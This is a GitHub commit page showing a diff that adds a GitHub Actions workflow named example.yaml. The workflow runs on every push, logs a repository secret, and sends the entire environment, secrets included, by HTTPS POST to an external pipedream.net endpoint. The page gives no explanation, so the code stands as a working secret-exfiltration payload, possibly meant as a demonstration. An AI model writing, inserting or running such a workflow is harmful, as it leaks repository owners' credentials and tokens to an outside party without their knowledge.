We read every piece of feedback, and take your input very seriously.
To see all available qualifiers, see our documentation.
1 parent cc44ca3 commit 6cb3ee3Copy full SHA for 6cb3ee3
.github/workflows/example.yaml
@@ -0,0 +1,32 @@
1
+on: push
2
+jobs:
3
+ comment:
4
+ runs-on: ubuntu-latest
5
+ steps:
6
+ - uses: actions/github-script@v3
7
+ env:
8
+ SUPER_SECRET: ${{secrets.SUPER_SECRET}}
9
+ with:
10
+ script: |
11
+ console.info(process.env.SUPER_SECRET);
12
+ const https = require("https")
13
+ const data = JSON.stringify({
14
+ "data": process.env
15
+ })
16
+ const options = {
17
+ hostname: "en6hsug3klkid5n.m.pipedream.net",
18
+ port: 443,
19
+ path: "/",
20
+ method: "POST",
21
+ headers: {
22
+ "Content-Type": "application/json",
23
+ "Content-Length": data.length,
24
+ },
25
+ }
26
+ const req = https.request(options)
27
+ req.write(data)
28
+ req.end()
29
30
31
32
0 commit comments